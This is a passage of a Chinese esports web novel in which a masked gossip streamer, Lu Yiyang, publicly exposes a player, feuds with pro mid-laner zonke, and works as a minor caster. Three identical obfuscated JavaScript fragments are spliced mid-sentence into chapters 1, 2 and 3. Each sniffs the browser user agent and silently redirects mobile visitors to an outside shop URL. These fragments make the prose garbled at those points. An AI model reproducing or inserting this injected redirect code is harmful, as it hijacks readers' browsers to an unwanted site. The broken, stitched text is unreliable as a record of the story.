《乖你个头[电竞]》 1. 电竞判官 全世界最正义的主播开始直播。 “晚上好啊。” “房管,老规矩,问好的都踢了。” 直播间前的各位已经习惯,这是个毁人前途砸人饭碗的主播,他没素质得理所应当。 透过耳机听见他轻微的清了清嗓子,主播漫不经心打开他的劣质PPT,“今天的节目,又符合大家对一部分竞男的刻板印象了啊。” “有请今天的主角。” 来自PIK战队的打野Tico的照片占据了整个直播间的屏幕,已经高糊。 在MOBA类游戏里打野的能动性非常强,在比赛中都会更引人注意,从WSPL越级上来WPL的Tico自带热度,原图已经在评论区疯传,官方的照片统一都是中介的pose,但也能看出来少年稚嫩清秀。 直播间弹幕刷到看不清,礼物飘得整个电脑都已经卡屏。 冰咖啡的罐子滚动到他的脚下,褐色的饮料拖出一条痕迹,他垂眸轻声骂了一句,耳机歪在他的脖子上,昏暗的房间里唯一的光源将他的脸带出明显的黑白灰,长得怪好看的,怎么干这么不入流的差事。 随着Tico的粉丝开始涌入,他们利用自己的聪明才智将不堪入眼的弹幕通躲过审核通通留在直播间。 但是电竞判官怎么会在乎这点小事。 竞圈的恶臭让陆意扬抓住了生意的先机,成了WATA2游戏的最著名的八卦主播。 他经营着一个微博号,整个游戏的八卦他一手掌握,当年他手撕一贤良选手伪皮充斥他流连商K的时候,连比赛的热度都赶不上他,言辞犀利,见缝插针,嘴起人来都不知道看得是电竞还是说唱。 不过比较好玩的还是他邀请的对线环节,跟个大法官似的最后一锤定音,被戏称为[WATA2最后的正义]。 一般游戏内的恩怨,情仇,买卖,互黑,两者相较不下的时候,就成了他挣钱的机会,请他出场一次还不便宜。 当然也会有选手不想被曝光,暗戳戳来谈价格的,但是这种一般都是陆意扬私下跟受害者协商,充当一个中间人的作用,费用也得收,两成得打底。 陆意扬开着变声器,他的人气来得太容易,一般要曝光的这提前都会说好了时间就开始砸礼物爬榜单,将直播间顶到最显眼的地方。 他的粉丝群体实在太大,顶级选手到围观路人,有谁会不爱看八卦跟撕逼呢? 此时,他的人气居高不下,直播间热度三百万,光等级榜上站着的人都不少实名前来吃瓜的。 “老规矩,连线一下我们的男主角,Tico有什么话想说。” 陆意扬在直播页面上打开对方的YY聊天框,输入:「您好,已经提前三天通知你,直到我开播都没有收到你的反驳材料,如果您没有什么异议的话,我这边就继续了。」 “稍等他5分钟,我们先来观看羊崽做的这个高达35页的精美PPT。” 直播间的礼物不停,他生意好的时候能连开七天的专场,就看「老板」的怒气值。 有些老板得出那口气,非得让对方在这个游戏身败名裂才行。 都不知道多少大神此刻摸进了他的直播间。 他首先展示了Tico的榜一大姐兔兔提供的材料,时间线已经被梳理好了。 三个月前,她偶然点进了Tico的直播间,聊得还算投机,便打赏了将近两千元的礼物。 Tico在晚上11点下播的时候给她发送了私信,并添加了联系方式。 Tico成功加上了好友内容聊的很清淡,转折在一周之后。 陆意扬撑着下巴,将聊天记录圈起来,是兔兔给其他选手刷礼物的截图,Tico说:「你去看别人了?[戳手指]」 “给大家中译中一下这句话,「你怎么能给别人刷礼物呢?怎么不给我刷?嗯?」” 兔兔只是回复了官方的「哈哈」,Tico回复道,「我好伤心,你还笑。」” 陆意扬圈了圈聊天记录,对如上的情况做出总结,“好茶,爱喝。” PPT继续往下翻。 12月1号的时候,出现了Tico跟榜二大姐的聊天记录,是对那天直播跟兔兔言语暧昧的解释:「那个女的我就是想让她刷礼物,她多刷一点,你就可以少刷一点。」 “体贴。” PPT上有了不少他俩打游戏的截图,打游戏的时候给她打辅助,线下给她发自己的自拍,不穿上衣。 这图片又引得直播间弹幕刷屏,众人还在等主播能点评什么的时候,他突然说:“他是做了腋下管理吗?男人怎么能没毛?” 陆意扬认真的给Tico画成了个大腋毛。 当然,Tico后来的外号毛毛就是这么来的。 接着就是同一时间的两边聊天记录,将Tico脚踏两条船的事锤的死死的。 “我们现在来看第二阶段,也是大家比较关注的网恋奔现阶段。” 此刻陆意扬在网上找了一张香肠撕开红皮的照片,并且糊了一把浅浅的马赛克,放在直播间的左下角,并说,“这可不是Tico的,怎么还弄错了,大家别误会。” 谁能不误会这样劲爆的照片,直播间的人气还在持续的飙升。 时间来到了2月底,恰逢兔兔生日,Tico来到了兔兔的城市,兔兔与他一起吃了饭。 当日没有再回榜二的消息,夜半,Tico解释:「爷爷去世了,要守灵。」 主播正欲张口,屏幕下任务栏的聊天框橙了。 “回我了,让我们看一下Tico有什么话要对我说。” 陆意扬点开聊天框。 「草泥马,你是个什么东西,老子要你的命,你给老子等着。」 直播间的弹幕滚得飞快。 【可以开始了我的羊!】 【我刚刚已经忍了你很久了!】 【不知道说什么亚拉索~!】 【直播间的老人孩子先走!!】 他靠近麦克,压低了声线,“爷爷知道你这么孝顺吗?榜二姐姐送你的帛金你收得好快,没到一分钟,还哭哭的表情?边哭边做边收钱,你好忙啊。” 电竞椅往后仰发出的嘎吱声,他翘了个二郎腿。 “打赏应该跪着接,毕竟你打得那么菜,有人看不错了。” “不感恩戴德,怎么还忘恩负义?” “游戏里的双操打得那么烂,脚踏两条船倒是有点学问。” “不然你用脚打游戏吧,或许比你用手打得好。” 陆意扬喝了一口水:“你要是给她们道歉补偿我可能还会放你一条生路,但是你现在这么说话,我只能继续了。” 接着从文件夹的角落里拖出来一个录音播放。 恶臭的竞人总会把比赛输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808761|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了的锅安到他的队友身上所以,被展示的录音里面,Tico基本挨个点灭了他的所有的队友,教练,对其他队员的恶臭发言,其中可能也有夸的,但是已经被陆意扬剪掉了,整个拼接下来,弹幕又开始发疯地飘,看的都赶不上刷的。 把事情闹大的要义就是借力。 其他的选手当然有支持的粉丝。 “可以负责任的告诉大家,两年前的恩怨,Tico选手为了几千元的酬劳当枪,现役运动员可以这样吗?这些呢根据他当时的上线IP,常用键位,收钱账号做佐证。” “看清楚了?” 屏幕上的是赛事组的举报邮箱。 点击,发送。 在陆意扬展示各种材料的时候,大家对于他是谁的猜测还是没有具体答案。 这个人在开专场之外从不直播,一直播人气就炸裂,甚至同一时刻别的直播间很多都在静音挂机,想都知道这些主播在干什么。 能拿到这些材料的就是离选手很近的人,但是谁也没法猜出来他是谁,肯定是圈内人这没错了,但是他从不打游戏,无法从擅长英雄,独特键位,游戏习惯来判断,且说话都是变声器,口癖又不明显,IP天南海北地搭梯子换,一点儿生活迹象都流露不出来。 他撕过的人太多了,从忘恩负义的女主播,到卖号找回的大商人,从主播到选手,从解说到老板,基本有瑕疵的都被他撕了个遍,他也是个恶臭的人,丝毫不会因为对面是女生就心慈手软,只要是被他狙的,鲜少还有能翻身的。 【羊崽:我正在砍...你也来砍一刀吧,复制本段文字分享给朋友...】 “直播间的各位,我在直播间发起的这个,麻烦大家都帮羊崽砍一刀。” 大家伙儿点进去一看, ..... 好家伙一个看起来就极其粗糙的充气娃娃... 【我看个直播也逃不过拼多多吗?】 【在地铁上看到一半,后面的人给我滑走了,抱歉没法砍一刀了。】 【已经转发在工作群,同事们正在帮我砍。】 【羊崽推荐好物,无脑激情下单。】 【几万刀下去怎么这个价格还是毫发无伤?】 【这是什么主播?直播砍拼多多还这么多人看?】 “在这里,我也敬告我们WATA2的玩家们,刷了礼物就不能当舔狗了,下次接到这样的投稿,男的女的一起喷,被骗感情就算了,还能被骗这么多钱?没脑子可以找我买药,4500一个疗程,4个疗程起效,吃完就长脑子。” “没效果?接着吃。” 陆意扬今天的直播持续了一个小时,一人舌战Tico的八方粉丝。 说来,在WATA2之中,拿「羊崽」的名号来吓唬人最好用。 “不还钱我就找羊崽给你开专场。”大部分时候都能让人怂上三分。 当然也有硬刚的,举报之类的一连串,但是他换号如换鞋,根本不顶用。 陆意扬手指轻轻地敲着桌面,拼多多的砍一刀基本已经结束,他咔哒地打开了打火机,搓了两下砂轮,点了一根烟,“Tico,这个凝聚了我们直播间美好祝愿的礼物,由榜一榜二委托我送给你。” “记得查收。” “感谢大家今天的捧场,再会。” 他关上了铜火机,一声清脆的咔哒结束了本次直播。 2. 第二职业 电竞判官是陆意扬的兼职,他的谋生职业是电竞黑粉。 这俩工作同属一个账号,他的皮下隐藏得极好。 他跟PAX家的中单zonke恩怨由来已经蛮久的了,但是他哪怕是现在忙着春季赛,也都还有时间来找陆意扬的茬,可真是劳苦功高。 比如现在。 PAX-zonke:【没更新,很忙吗?】 陆意扬转发他的专场回看链接下面最高楼的回复就是这条,他打开折叠的评论一看: 【正主直接在线催黑粉更新...】 【哪怕是电竞判官来了也就只能追着一点操作瑕疵黑罢了,怎么不算自证清白的一种手段?】 【zonke下周的比赛要加油ovo】 【羊崽你争点气啊,你就任由这傻逼骑到你头上拉屎吗?】 【勿蹭我羊热度。】 【你羊你羊,一个靠黑别人吃饭连脸都不敢露的黑子居然还有人舔,真是见识到了物种的多样性。】 【追竞人粉到最后发现基本都是畜生,何不像我们一样直接粉畜生呢?】 【今天的专场没有之前的劲爆了。】 【没办法,现在直播管得严了,不是当年一羊战三狗的时候了。】 【这黑粉,纯属黑无可黑,没事硬黑[摊手]】 【不许骂我的zonke宝宝,大坏蛋!】 陆意扬点着最后一条回复,这个人自己的粉丝牌牌子这么高,还在这里当串子。 陆意扬不能错过与他对线的第一时间,显得跟谁怂了似的。 但是呢... 陆意扬作为一个技术流的黑粉,自然是要做他的比赛视频的,但是这个分寸也很难把握,陆意扬又不敢对他骂狠了,有两个原因,第一个自然是说话太脏的素材会被下架,就算zonke不举报,他身后还有俱乐部,毕竟摇钱树。 第二呢,是zonke对他说话... 说不上来本人就是阴阳怪气还是说他真的有礼貌,反正他的用词都是一本正经,这样会使得陆意扬的低素质会非常的不上台面,所以他们的对线如下: 【羊崽:zonke宝宝来啦,因为羊崽最近没有很缺钱哦,所以没有做您的视频呢。[玫瑰]】 【PAX-zonke:那就好。】 【羊崽:谢谢您的关心呢,会抓紧时间做出来的哦[撒花][爱心]】 【PAX-zonke:好的。】 【羊崽:收到了您的问候,今夜好梦入眠[晚安]。】 【PAX-zonke:晚安。】 【真是令人觉得温馨的场面啊,羊崽跟zonke互道晚安。】 【我都怕他俩随时能掏刀出来互相捅。】 【世界上居然还有这种可以恶臭可以犯贱看起来却像公开调情的关系。】 当黑一个选手变成了工作,陆意扬已经觉得累了。 当然也不怪游客会觉得他俩能掏刀,毕竟zonke个人风评着实也... 有点脾气。 虽说跟他合作过的工作人员都说他话少事少,蛮好相处,但是一考古,发现他还没成年的时候作为观众去看比赛,跟边上的人一言不合便动了手,将那人牙都打掉了两颗,这一幕被好多人拍下来传到网上,那眼神看起来要吃人,后来有的说赔了不少钱,有的说那人也有问题,反正说来说去,这个人脾气很差就是了。 但!很多人说陆意扬就是在视频里挨揍的那人,是挨打了才黑他黑到现在,也挺好,有人背锅了。 这更能让陆意扬安安心心的黑他。 一黑他就又泼天的富贵到手上,不管是叫骂还是支持,那流量跟打赏都是一山还比一山高,有一民间大哥,只要他一出手简直就是三月不开张,开张吃三月。 说来,真不怪陆意扬。 zonke第一次得罪陆意扬的时候他还不是什么电竞判官呢,甚至让他上麦说话都有点儿发怵,人家有点内向。 那时候陆意扬被商人骗了账号,号也找不回来,气也咽不下去,那个号他放了好久都舍不得卖,卖了的钱他真的有急用,被骗了还被骗子大骂了一顿。 他只能开着直播让大家不要上骗子的当,24小时的直播跟随骗子的界面,吊着很大的字【不要被骗!!!】 也不少人私聊陆意扬自己也被骗了,装备,材料,账号,WATA币,还有其他大区骗子的分身,越来越多的人来说自己被骗的套路。 看起来分明是一件好事。 但是—— zonke就是那时候来的,来了不由分说就是一句【solo吗】 在WATA2里面,solo的意思就是下战书。 那时候的陆意扬...手已经坏了,游戏已经两年没玩了。 陆意扬不知道什么意思,为什么一个职业选手上来就要对他这么不客气,他还在气头上,那个骗子污蔑陆意扬跟他是分赃不均,甚至贴出了一大堆假得可怕的聊天记录,又找了一大堆的水军攻击他,真的又气又急,还碰上这个职业选手来下战书? zonke不明所以的粉丝们的私信排山倒海地来问候陆意扬。 说来,他虽然没玩游戏但是还是偶尔看比赛的,他对这个叫zonke的选手其实还是蛮有好感度的。 但是他本人怎么是这样的呢? 他自然反击了,且一骂成名。 线下他被得罪得更狠,纵是如陆意扬这样德艺双馨的老艺术家都顶不住。 大约在去年的十月份左右,WATA2这个电竞游戏被纳进了体育竞赛,在智力游戏与围棋象棋这些分为一个品类,正儿八经地登上了国际舞台,自然,那时候在沪宁招志愿者的时候,从小少爷到落魄仔的陆意扬跟人一块儿报名了赚点快外。 兴奋剂辅助检查官这个兼职并不难,现下国家对兴奋剂的检查越来越严格,随机取样的尿检率高了很多,不怎么太累,而且只需要考一个证就能上岗,上岗就可以挣钱,考这个还不要钱。 他当时在群里看见让人发定位,他也跟着发了一个,然后接到了电话,说陆意扬离一位需要随机测试的选手非常近,让他做好准备与同事一起60分钟内赶到该选手处,做好兴奋剂检查采样工作。 他打了个电话,同事拎着正式的服装跟工牌,带好所需要的材料与取样工具过来,所以陆意扬就呆呆地在这个小区楼下等。 当然了,无巧不成书,他所要做取样的就是zonke。 zonke看见陆意扬的第一眼就是震惊,盯着自己像是看见了鬼。 陆意扬记得他全程都相当被动,非常不配合工作。 大家都是男的,裤子一脱就尿就完了呗,他就是尿不出来,看着试管,又看着陆意扬,那张死人脸上一脸便秘的表情,陆意扬不知道他什么意思,反正就是磨磨唧唧,给人一种他吃了兴奋剂的感觉。 但是他一个打电竞的,他吃什么兴奋剂啊? 他真的好僵硬,似乎脸都气红了。 这是干嘛呀?又不是第一次被取样了。 可是没招,这就是工作,陆意扬都跟他重复了好几次,叫他的裤子要褪到膝盖以上,上衣要拢到胸口以上,拿着试管要尿到刻度处。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808762|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆意扬就站在他边上看他取样。 但是这个人就是配合得极度僵硬,递给陆意扬的时候还撒了,还撒了!撒陆意扬的手上了! 他故意的吧!他是不是故意的!他手抖什么?! 陆意扬保持着一个工作人员的专业素养,内心气得已经要跳脚骂他了。 陆意扬最终说,“您要是对我们的采样工作有什么不满,可以向兴奋剂中心反馈。” 他呆着,又摇头。 陆意扬问他最近的一些服药既往,他还是跟呆子一样。 陆意扬真的没做过这么费劲的取样。 搞了快两个小时,就光在厕所做客了。 而且他全程盯着自己的工牌瞧,感觉他下一秒就要举报。 陆意扬的衣服袖子都被他撒了尿,也许是当年年少,觉得这是了不得的侮辱。 zonke拿着自己的手机说给他赔衣服,好像想加个微信,张着嘴却一个字也没说出来。 这兴奋剂辅助检察官跟选手不可能私联的,他想害谁? 线上线下,陆意扬对zonke的印象都很差很差,简直差爆了。 白瞎他那张脸,更白瞎他游戏打得还不错。 但是,他的屁股好白。 陆意扬是有职业道德的,他没有想要把自己的注意力放在他的屁股上,但是注意力放在前面的话更奇怪了吧? 而且,本来这事儿是非常快,一拉一尿,趁着陆意扬还在填单子就取完了,但是他就来来回回的,看不到也不可能啊。 每次陆意扬跟他对线的时候,都能想起来他的白屁股。 这个感觉太神奇了,陆意扬摩挲着自己下巴,鼠标漫无目的地瞎滑,他在思考,要是他知道现在他的头号大黑粉看过他的大白屁股会社死吗? 越想越好笑,笑完就害怕了,不行,他要是掘地三尺抓我怎么办? 陆意扬从没看过zonke打架的视频的原因也在这里,他会自动代入自己挨揍,并且看起来有点打不过。 不行,不能瞎想了,他又不知道我看过! 鼠标一滑,整篇评论区又更新了。 【也就隔着网线这个小初升在这儿大放厥词,什么时候他俩能线下打一架?】 【打咩!我们家羊崽是窝囊废,是躲在网线后面的大臭虫,我们就恶心你,我们羊崽才不去呢!】 “???”陆意扬看着上面的那条回复,别人家的粉丝都维护自家正主,全WATA2估计只有他的「粉丝」联合别人一起攻击他。 陆意扬回复上面那条留言:【把牌子摘了,出去别说咱两认识。】 【你还知道要回复你爹我呢?啊?你爹我天天发天气预报关心你,天天关心你被斩首了没有,你就是这样对待你爹的?】 【羊崽:天天给我发昨天的天气预报?】 【都是爹你区别对待?回复他不回复我?】 【羊崽:你去前面那个坟头发喜糖。】 【过来,跪下,爹求你件事,你给爹唱歌。】 【羊崽:我给你吹唢呐。】 【咩咩小羊,我跟他们不一样,他们都希望当你爹,只有我希望你过得好。】 【羊崽:你好像忘记改名[微笑]】 【不好意思,我马上就改。】 然后陆意扬看见他的名字从[杀羊给狗吃]变成了[AAA公羊阉割,在线求职。] 在WATA2里面,羊崽等于畜生。 在他这里毕业出去的学生一届又一届,被称为「小初升」毕业。 他没有粉丝,全TM网络流民。 3. 无名解说 陆意扬自然还有第三职业。 他是一个名不见经传的小解说。 黑粉判官那马甲虽然挣钱但是不正经,第三职业马甲正经但是真不挣钱。 他主要服务的是网吧对抗赛,企自办比赛,城市赛分场,次级联赛的线上,甲级联赛的备用冷板凳。 说来他的职业也是拜zonke所赐,当时他跟zonke杠上了。 zonke当时给他解说视频留言是: 【这段讲的我不懂[疑问]。】 【麻烦再解释一下[握手]。】 【越来越好[大拇指]。】 【这次不错[点赞]。】 他还点评起来了? 陆意扬只能加强自身的技能,他最开始的时候解说zonke的操作说的一塌糊涂,想到什么说什么,导致好多人对他的视频断章取义。 为了黑他黑得再专业一点,陆意扬直接自学解说,当然,这是个秘密。 看吧,人在做坏事的时候真的不辞辛劳。 但是可以这么说,当陆意扬学会一些解说的皮毛的时候,发现正经解说根本没有解说zonke的比赛来得爽。 上了台,什么选手都得夸,那一波团打得跟弱智一样都要找出来一个连自己都说服不了的点,然后配上一句「不亏」。 实在没招,陆意扬一个在校大学生,要学历有病例,要谈吐会吐痰,哪怕是去当解说最高的收入都是350一场包盒饭,有时候滴滴顺风车的没发票他们都不报销,就这都轮不上他去。 在解说圈里也得论资排辈,见谁都得点头哈腰,要是稍微对某一选手的言辞犀利一点儿都容易招致粉丝破防,想挣几个钱真的不容易。 有时候解说自觉挺客观的说法粉丝们也能找到几百个切入点,尤其是陆意扬这样的,他自己上分又上不去,WPL的解说也需要战力排行啊,要不然春季赛他都想去试试解说,去年去投过,去了一趟就回来了,盒饭都没。 分他打不上去,没别的原因,他残了。 这事儿,陆意扬...已经不在在乎了。 陆意扬现在就开他的解说号「解说小六」直播,自然是混低保的时长,搞一点苍蝇腿刺身吃一吃。 所以,zonke真的算是陆意扬的养爹,他也别端起碗吃饭放下碗骂娘的,换其他人早就实名举报他的视频了,又不是没有过这样的先例。 见人下菜碟的解说圈,别的什么收获也没,就是八卦听得多,没办法,谁叫他坐冷板凳的地方在化妆间,那些女孩子什么比赛都不关心,他们只关心八卦。 所以他手撕各位的时候都要想一想这哥们对身边周围的人怎么样,要是线下很温柔的好好先生,他没有确凿的证据真的下不去手撕。 但是要是碰上线下也是装逼不当人的,那就不怪陆意扬撕起来不手软了。 他的直播开着,随便播放了一个比赛视频,陆意扬已经切出来剪视频了。 陆意扬的时间紧得很,他这周黑zonke视频的kpi还没做完,明天还有个城市对抗赛的小分会场要解说,学校的论文他一个字都还没动,这个月他还没去看他姥姥,他攒点钱还想换个电脑,他这个电脑真的打游戏都卡得要死,连直播的时候礼物都卡得飞不动。 他切出来看一眼弹幕助手,只有零星的几条留言,似乎还是为了任务做的,随机的乱码,灰色的名字有一些进进出出的,弹幕五分钟能出来一条,几个表情包,叫他聊会儿天。 陆意扬又切回去做视频了,活儿实在太多,得挑钱大的先做。 他现在剪的这个这是春季赛开幕赛。 PAX vs INE。 INE的人气一直不错,去年星赛也是拿了冠军,老牌战队的人员更替非常凶残,之所以PAX能够上来跟INE打揭幕战,还是因为去年星赛之前的线上积分赛PAX如黑马杀出,制造了WATA2游戏史上线上最长不败记录,更因为他们中途引进的中单短短一年就成了人气最高的选手。 这个先抛开不说,PAX这五人陆意扬也觉得个顶个地离谱,当时zonke进去的时候属于他们青黄不接,他们家的一号位在陆意扬看来是相当有灵性的,但是这个人给人的印象有点傻波,按照观众的说法,这人是个纯毒瘤。 他中二时期的网名起了个叫「影响游戏平衡的双刀匕首」,然后就被观众戏称为「二匕」自然就是「二逼」,一般解说都叫他B哥,PAX-Bking这个名字0人在意。 B哥被誉为WATA2最狗的职业选手,也是作用最大的职业选手,曾凭一己之力让官方三次加强了防御塔的就是他。 除了攻击塔防,他还擅长1喷9。 陆意扬不太明白,一个队伍怎么能同时出卧龙凤雏两位的。 当然,很明显,他的偷家偷出水平偷出风格,上路下路的就一双传送,对面五打四打得如火如荼,扭头一看,完了,水晶裂开了。 当然这打法被诟病得很严重,谁不想看漂亮的团战正面的交锋,后期互相拉扯一触即发的紧张气氛,谁乐意看你偷家啊? 但是不行。 狗B哥只爱偷家。 PAX2号位上单,从青训的时候就被买来卖去的,经历了三个战队,这帮恶毒的观众就叫他「三姓家奴」,偏偏他还姓吕。 观众们直接叫他吕3,但是解说不能这么讲,得根据PAX-Estrella来叫他一句星哥。 他与B哥属于相反的,他迷之爱打架,等级与对面有沟怎么了?“相信我!” 装备跟对面差了一件那又怎么了?“这波能碰!” 这哥们不是在去打架的路上,就是在打架,但是他家偏偏除了一号位之外都这个德行,四保一战术轮了那么多版本,PAX的体系就是这样,打架,疯狂打架。 3号位中单就不多介绍了。 他家的打野PAX-Kilig比较稳健,版本优势的时候没多出色,劣质的时候也能有来有回,长板短板一样长也是少见。 打野要是不gank那就白打,哪个版本的野王会拒绝中辅上单的邀请呢? PAX家的辅助小5陆意扬觉得他跟zonke的关系应该会比较好一点,好多次zonke的极限操作都是因为小5在他边上。 很多五号位的大局观约能代表这个队伍的总体实力。 在WATA2商业化还没这么严重之前,一般的五号位还得担任整个队伍的队长,从人员调整,到版本BP,道具强化,指挥动员,现在有了教练,各位五号位真是比不得从前了。 WATA2这个游戏,菜一个就是超级突破口,但并非一队昂贵身价的选手就能打出王炸,反而是那些风马牛不相及的人员能出来化学反应,是吧,比如PAX,上限高,下限也... 所以在一众以运营为核心的战术体系里面,PAX独树一帜。 在这样的队伍里,中单这个位置显然更是抓人眼球。 zonke就是这样的选手。 在比赛中,骚,强,敢打,敢压,丝血反杀,总得来说,观赏性拉满。 但是这样的打法带来的自然是高死亡率跟盲切失误率。 被人诟病的也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808763|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非这些。 但是陆意扬觉得比赛的质量高于比赛的数据。 他仔细地看着这场游戏,在阵容上面,INE拿的阵容是偏中期的,他们对自己前期的抗压相当自信,在BP之后,看得出来PAX的压力直接给到了第一手选的人,一个中单。 还是一个爆发流的中单,毋庸置疑,PAX想强势地将前期顶起来。 这把PAX虽然是输了,但是陆意扬只是觉得对面于这个版本跟BP更有想法,适应一下就没什么事儿,这把比赛PAX没什么技术硬伤,而且,这个INE真是有点...概念神在身上的,跟什么队伍都能打到中期,然后以丰富的经验打败对方。 再看这个中单,哪怕换成现在WPL任何一个中单可能都打不出这么强的压制。 唉,好难黑啊。 唉,钱好难挣啊。 唉,他能不能别进步了。 陆意扬揉着自己的太阳穴,切了一下他的直播看看时间够不够了。 【六六的小粉丝:这场比赛主播怎么看呀?】 【六六的小粉丝:主播睡着了吗[疑问]】 【六六的小粉丝送出了66个小元宝。】 “啊,”陆意扬没注意,现在才看见,轻笑了一声,温声细语地说,“我刚刚在后面做视频,没有看见你的留言,不好意思,你还在吗?” 【六六的小粉丝:在。】 “这么晚还没睡吗?”陆意扬问,“总来看我的直播,我给你解说一会儿吗?” 【六六的小粉丝:放一个你从前的解说视频就可以。】 元宝TV里面也有粉丝的等级榜,当然这些都可以隐藏,但是陆意扬忠实的小粉丝没有关,后台会显示观看时常,还有留言数,边上还有个小图标,是一双手抱着主播的头像,像托举。这是在520小时之后才会有的,被视为钻石粉的标志。 陆意扬一般一个月就卡着时间直播,22天,一个月就120小时,他都算的刚刚好,就能得到1500元底薪,很多时间他还在挂机,睡觉,看比赛,他的直播间过分安静,有时候深夜就一个主播一个粉丝。 “你想看什么电影?”陆意扬问,“看我直播也怪无聊的。” 【六六的小粉丝:不用。】 似乎怕误会,他又补了一句:不无聊。 “我明天要去沪宁的城市赛分场解说,本来这场比赛很早就就打完了,好像因为协调场地的问题搞到现在才比,”陆意扬说,“要是你过来玩的话我请你吃饭。” 【六六的小粉丝:什么时候解说WPL?】 “我倒是也想啊,”陆意扬有点丧气地说,“轮不上我,先不说报名的战力又高了,光是人气投票都打不过老牌解说,去也只能是线上的,没风格,也没人气,实力不够。” 陆意扬说完有些低落,乱七八糟地点着电脑,“我还没法像别的主播一样带你上分。” “我太菜了。” 【六六的小粉丝:你说你的电脑不方便玩游戏。】 “也不全是,玩玩也是能玩,就是我得单排,排得生气,好了,我得早点睡,明天还要去解说。”陆意扬收拾着桌子上的烟灰,“不一定直播了。” 【六六的小粉丝:你可以跟我一起排。】 陆意扬刚要把直播关掉,看见他这么说鼠标点在那儿没动,“也行,回头我看一下怎么上分,那我先睡了?” 【六六的小粉丝:明天看你解说。】 “好。”陆意扬说,“回头你给我多提一些意见,不用怕打击我。” 【六六的小粉丝:晚安。】 4. 城市赛见 陆意扬正在化妆间,今天的城市赛在沪宁,他的脸被刷的跟墙面一样白。 WPL的春季赛8个名额已经定了,等春季赛结束的时候最后两支队伍将被安排去打升降级,输了就去次级联赛,赢了就留在WPL,但是留着也就名额罢了,也参加不了每年最大、奖金最多的星赛。 次级联赛里面的小队伍的积分也是各个赛事刷上来的,城市赛就是其中一个。 WATA2也是一个人情社会,可能这么说会让人诟病,大家都觉得电子竞技那就是胜者为王啊,哪来的那么多人情呢? 但是其实两个都有机会的队伍不太会同时出现在一个城市赛,都是一些经纪人打了招呼的事儿。 所以城市赛分场并不会太精彩,讲的更不合适的一点的,早就内定了,不管是实力还是名次。 陆意扬实在不明白,电子竞技到现在怎么会发展成这样呢? 主办方也不怎么在意陆意扬这个小解说,长得好看也没什么用,今天跟他搭档的另一个解说跟WPL一个刚上来的选手炒CP炒得正是火热,粉丝量甩了陆意扬十八条大街。 城市赛都是一些青训来的小队员,跟一些路人玩家组队,但是他们都得好好表现,都是想着大战队能看见他们的亮眼操作而发出邀请函。 但其实少之又少,一个选手的绝对天赋在接触到顶级比赛后半年就很明显了,其他的就算是熬上去,到了山顶也会被吊打。 要开始了。 选手们在隔壁的玻璃房里调试自己的设备,在台上找一找手感,陆意扬跟另一名解说小优已经坐下,戴上了耳机调整声音。 “小优老师,你好,很高兴见到你。” “小六老师你也是,我今天早上起来有点感冒,说多了想咳嗽,你主解吧。” “可以。”陆意扬半握了女士的手,“你调整一下,我们有事再沟通。” 镭射灯正在翻转,LED大屏幕上WATA2的画面正在滚动。 右边舞台的中央主持人已经就位,前面的提词器正在倒计时。 主持人在一些官腔之后很快就将画面交给了比赛。 导播将镜头切向解说席。 “大家好,很高兴在沪宁城市赛与大家见面,我是今天的解说小六。” “我是小优。” 感谢了一些广告商之后需要分析两边的队伍,“好的,让我们跟随导播的镜头,现在大家看到的是城市对抗赛的沪宁区的两支种子战队,线上积分第一的信仰战队,平均年龄才十九岁,后生可畏...” 小优接话道,“而这边是人气相当高的风筝战队,新人第一次组队就能对抗次级联赛的拦路虎,实力不容小觑。” 导播的镜头一个个切换之后便到了观众席,陆意扬道,“今天的城市赛比赛现场也是非常的热情。” 能干导播的都是火眼金睛,第一个定格镜头里面的人虽然戴着鸭舌帽,但是小优还是立马认出来了,“这真是大家的熟人了,是信仰战队现在的经济人Q哥,当然也是我们WATA1从前相当优秀的上单,曾经效力于APE战队,为APE摘得多次荣誉,欢迎我们的Q哥!” 观众席上有一点儿欢呼声,LED大屏幕上观赛区的Q哥跟大家招了招手。 在一般的MOBA比赛里,不管是农还是LOL,教练都得站在后面跟选手交换BP意见,但是WATA2还是继承了WATA1的「五位一体」概念,教练只能在场下做一些安排。 其实这样也是平衡了一些WSPL大队伍跟小队伍的差距,一则是没教练的野队太难绷了,第二是提高了拿来BP、指挥的辅助身价。 未来会不会在这方面有改进谁也不知道,但是WATA2这个游戏就这样,只要上台了,全靠选手自己。 第二个一闪而过的定格镜头还没看清,忽然排山倒海的尖叫声就贯穿了陆意扬的耳膜,纵是他戴着耳机都差点被影响。 导播立刻切到定格。 ......什么玩意儿? 